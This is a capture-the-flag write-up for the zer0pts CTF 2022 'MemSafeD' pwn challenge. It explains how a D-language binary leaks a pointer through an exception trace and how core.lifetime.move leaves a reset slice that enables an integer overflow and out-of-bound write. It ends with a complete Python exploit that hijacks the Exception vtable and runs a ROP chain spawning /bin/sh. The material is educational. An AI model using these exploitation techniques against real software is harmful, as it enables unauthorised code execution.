# MemSafeD - zer0pts CTF 2022
###### tags: `zer0pts CTF 2022` `pwn`
Writeups: https://hackmd.io/@ptr-yudai/rJgjygUM9
## Overview
x86-64 ELF written in D lang
```
$ checksec chall
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
```
## Vulnerabilities
The program doesn't have a specific bug which is explotable by itself. There are several mistakes and we can exploit the program by chaining them.
### 1. Address Leak
Probably it was easy to spot the first bug (address leak). However, why does it leak the pointer even in the safe mode?
D language supports exceptions. It dumps the stack trace whenever an exception is thrown. Printing (aquiring) a pointer is not allowed `@safe` mode. In this program, however, `main` function is set to `@trusted` to allow `setvbuf`.
So, the author of this program intended to only allow `setvbuf` but also allowed pointer leak in exception handling in `main`.
```
1. New
2. Show
3. Rename
4. Edit
5. Delete
> 2
Name: X
[ERROR] object.Exception@main.d(91): No such polygon: X
----------------
??:? _Dmain [0x5555555f5e5d]
```
One can avoid this kind of mistake by [**@trusted escapes**](https://dlang.org/blog/2016/09/28/how-to-write-trusted-code-in-d/).
### 2. Integer Overflow and Out-of-Bound Write
D language throws exception whenever it tries to read/write at an invalid index of an array.
```c
int[] arr = new int[4];
arr[4] = 123; // EXCEPTION!
```
In `-release` mode, just like Rust, it doesn't throw exception and you can access out-of-bound. However, this dangerous behavior is not allowed in `@safe` mode. How can we bypass the check then?
[The official blog](https://dlang.org/blog/2016/09/28/how-to-write-trusted-code-in-d/) explains well about `@safe` mode. In the blog mentions this:
> Accessing an element in or taking a slice from a dynamic array must be either proven safe by the compiler, or incur a bounds check during runtime. This even happens in release mode, when bounds checks are normally omitted (note: dmd’s option -boundscheck=off will override this, so use with extreme caution).
The bounds check is again removed even with `@safe` mode if `-boundscheck=off` is passed to the DMD compiler! [The official manual of DMD](https://dlang.org/dmd-linux.html), however, suggests `-boundscheck=off` for faster execution.
> For fastest executables, compile with the -O -release -inline -boundscheck=off switches together.
Security vs performance :P
However, we cannot use this fact because of the index check hard-coded in the program:
```c
this(ulong n) {
if (n <= 2) // Dots and lines are not polygon
throw new Exception("Invalid number of vertices");
_vertices = new vertex[n];
}
...
/* Set the position of a vertex */
void set_vertex(ulong index, vertex v) {
if (index > _vertices.length - 1)
throw new Exception("Invalid index");
_vertices[index] = v;
}
```
`index > _vertices.length - 1` ensures the index is no larger than the length of `_vertices`. One might notice `_vertices.length - 1` can cause integer overflow when `_vertices.length` is 0. However, the constructor ensures `_vertices.length` is always larger than 2.
```c
if (n <= 2) // Dots and lines are not polygon
throw new Exception("Invalid number of vertices");
```
We cannot change the length in a straightforward way. The end?
### 3. Null Pointer Dereference
The last but the biggest bug exists in `polygon_rename`:
```c
Polygon p;
move(ps[old_name], p); // Make a copy
if (new_name in ps) {
// Ask when new name already exists
writeln("Do you want to overwrite the existing polygon?");
writeln(new_name, " --> ", ps[new_name]);
string answer = read_str("[y/N]: ");
if (answer[0] != 'Y' && answer[0] != 'y')
return;
}
// Remove original polygon and move to target
ps.remove(old_name);
ps[new_name] = p;
```
D language uses Garbage Collector so we don't need to care of the object lifetime. The function `move` is defined in `core.lifetime`. It copies the source object into the target one.
So, the code
```c
move(ps[old_name], p);
```
usually works as intended.
However, [the documentation](https://dlang.org/phobos/core_lifetime.html#.move) mentions the following destructive behavior:
> If T is a struct with a destructor or postblit defined, source is reset to its .init value after it is moved into target, otherwise it is left unchanged.
The `Polygon` struct defines a destructor. So, `ps[old_name]` is initialized when `move` takes place. What does "initialize" mean?
`Polygon` has only one member:
```c
vertex[] _vertices; // List of vertex
```
This is an array of `Tuple!(int, int)`. If this member is initialized, the length becomes 0. Also, the pointer of the elements becomes NULL in D language when it's reset.
If we return the function without actually renaming the polygon, the ownership of `ps[old_name]` is lost because `p` is available only in this function scope. Nobody has the ownership of the original polygon anymore!
Also, the `_vertices` member is initialized so we can cause an integer overflow in `set_vertex`, which can be chained to OOB write!!!
```c
/* Set the position of a vertex */
void set_vertex(ulong index, vertex v) {
if (index > _vertices.length - 1) // Integer overflow
throw new Exception("Invalid index");
_vertices[index] = v;
}
```
## Exploit
Eventually we get AAW primitive (because `_vertices` is NULL) with the process base leaked.
There can be many ways to exploit these bugs. I overwrote the vtable of `Exception` class, call stack pivot, and run ROP to win:
```python=
from ptrlib import *
def new(name, vertices):
assert len(vertices) > 2
sock.sendlineafter("> ", "1")
sock.sendlineafter(": ", name)
sock.sendlineafter(": ", str(len(vertices)))
for v in vertices:
sock.sendlineafter("= ", str(v))
def show(name):
sock.sendlineafter("> ", "2")
sock.sendlineafter(": ", name)
def rename(old_name, new_name, overwrite=None):
sock.sendlineafter("> ", "3")
sock.sendlineafter(": ", old_name)
sock.sendlineafter(": ", new_name)
if overwrite == True:
sock.sendlineafter("]: ", "y")
elif overwrite == False:
sock.sendlineafter("]: ", "n")
def edit(name, index, vertex):
sock.sendlineafter("> ", "4")
sock.sendlineafter(": ", name)
sock.sendlineafter(": ", str(index))
sock.sendlineafter("= ", str(vertex))
def to_vertex(v):
x, y = v & 0xffffffff, v >> 32
x = u32(p32(x), signed=True)
y = u32(p32(y), signed=True)
return (x, y)
elf = ELF("../distfiles/chall")
sock = Process("../distfiles/chall")
# Leak address
show("X")
proc_base = int(sock.recvregex("_Dmain \[(0x[0-9a-f]+)\]")[0], 16) - elf.symbol('_Dmain') - 901
logger.info("proc = " + hex(proc_base))
elf.set_base(proc_base)
rop_push_rcx_or_praxM75h_cl_pop_rsp_and_al_8h_add_rsp_18h = proc_base + 0x000a459a
rop_pop_rdi = proc_base + 0x0011f893
rop_pop_rsi_r15 = proc_base + 0x0011f891
rop_xor_edx_edx = proc_base + 0x000a39d9
rop_pop_rax = proc_base + 0x000aa2cd
rop_syscall = proc_base + 0x000d1ab1
# Reset a polygon (dangling ownership)
new("evil", [(0,0), (0,0), (0,0)])
new("dummy", [(0xdead,0xcafe), (0x1234,0x2345), (0x1111,0x2222)])
rename("evil", "dummy", overwrite=False)
# Overwrite vtable
target = elf.symbol("_D9Exception6__vtblZ") + 0x40
value = rop_push_rcx_or_praxM75h_cl_pop_rsp_and_al_8h_add_rsp_18h
edit("evil", target // 8, to_vertex(value))
# Prepare ROP chain
chain = {
0x10: u64(b'/bin/sh\0'),
0x18: rop_pop_rdi,
0x20: elf.symbol("_D9Exception6__vtblZ") + 0x10, # /bin/sh
0x28: rop_xor_edx_edx,
0x30: rop_pop_rsi_r15,
0x38: 0,
0x48: rop_pop_rax,
0x50: 59,
0x58: rop_syscall
}
for offset in chain:
logger.info("Writing @" + hex(offset))
target = elf.symbol("_D9Exception6__vtblZ") + offset
edit("evil", target // 8, to_vertex(chain[offset]))
# Exception vtable hijack
show("X")
sock.interactive()
```